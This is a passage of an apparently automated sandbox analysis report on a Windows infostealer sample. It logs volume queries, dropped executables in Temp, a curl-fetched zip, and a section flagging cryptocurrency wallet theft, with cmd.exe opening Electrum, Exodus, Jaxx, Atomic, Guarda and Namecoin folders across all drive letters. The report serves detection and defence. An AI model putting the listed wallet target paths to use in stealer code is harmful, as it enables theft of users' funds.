                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\curl.exeQueries volume information: C:\Users\user\AppData\Local\Temp\N_user_8.46.123.228.zip VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeQueries volume information: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeQueries volume information: C:\Users\user\AppData\Local\Temp\smartscreen.exe VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeQueries volume information: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeQueries volume information: C:\Users\user\AppData\Local\Temp\smartscreen.exe VolumeInformation
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007F0030 GetLocalTime,__swprintf,24_2_007F0030
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007F0722 GetUserNameW,24_2_007F0722
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,24_2_007E416A
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,0_2_00406831
                              Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                              Stealing of Sensitive Information

                              barindex
                              Found many strings related to Crypto-Wallets (likely being stolen)
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Electrum]=AppData\Roaming\Electrum\wallets
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Jaxx]=AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Exodus]=AppData\Roaming\Exodus\exodus.wallet
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Ethereum]=AppData\Roaming\Ethereum\keystore
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Exodus]=AppData\Roaming\Exodus\exodus.wallet
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Ethereum]=AppData\Roaming\Ethereum\keystore
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Coinomi]=AppData\Roaming\Coinomi\Coinomi\wallets
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: walletPaths[Ethereum]=AppData\Roaming\Ethereum\keystore
                              Tries to steal Crypto Currency Wallets
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: D:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: D:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: D:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: D:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: D:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: D:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: E:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: E:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: E:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: E:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: E:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: E:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: F:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: F:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: F:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: F:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: F:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: F:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: G:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: G:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: G:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: G:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: G:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: G:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: H:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: H:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: H:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: H:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: H:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: H:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: I:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: I:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: I:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: I:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: I:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: I:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: J:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: J:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: J:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: J:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: J:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: J:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: K:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: K:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: K:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: K:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: K:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: K:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: L:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: L:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: L:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: L:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: L:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: L:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: M:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: M:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: M:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: M:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: M:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: M:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: N:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: N:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: N:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: N:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: N:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: N:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: O:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: O:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: O:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: O:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: O:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: O:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: P:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: P:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: P:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: P:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: P:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: P:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Q:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Q:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Q:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Q:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Q:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Q:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: R:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: R:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: R:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: R:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: R:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: R:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: S:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: S:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: S:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: S:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: S:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: S:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: T:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: T:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: T:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: T:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: T:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: T:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: U:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: U:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: U:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: U:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: U:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: U:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: V:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: V:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: V:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: V:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: V:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: V:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: W:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: W:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: W:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: W:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: W:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: W:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: X:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: X:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: X:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: X:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: X:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: X:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Y:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Y:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Y:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Y:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Y:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Y:\Users\user\AppData\Roaming\Namecoin\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Z:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Z:\Users\user\AppData\Roaming\Exodus\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Z:\Users\user\AppData\Roaming\Electrum\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Z:\Users\user\AppData\Roaming\atomic\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Z:\Users\user\AppData\Roaming\Guarda\Local Storage\
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: Z:\Users\user\AppData\Roaming\Namecoin\
                              Source: ApolloPro.scrBinary or memory string: WIN_81
                              Source: ApolloPro.scrBinary or memory string: WIN_XP
                              Source: ApolloPro.scrBinary or memory string: WIN_XPe
                              Source: ApolloPro.scrBinary or memory string: WIN_VISTA
                              Source: ApolloPro.scrBinary or memory string: WIN_7
                              Source: ApolloPro.scrBinary or memory string: WIN_8
                              Source: ApolloPro.scr, 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 4USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
                              Source: Yara matchFile source: 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000026.00000002.2986439699.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.3065603321.0000000000880000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.3065521891.00000000006E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000026.00000002.2986439699.0000000002FFB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000001D.00000002.3728956460.0000000003B8F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.3065603321.000000000088B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000026.00000002.2986555159.0000000003270000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
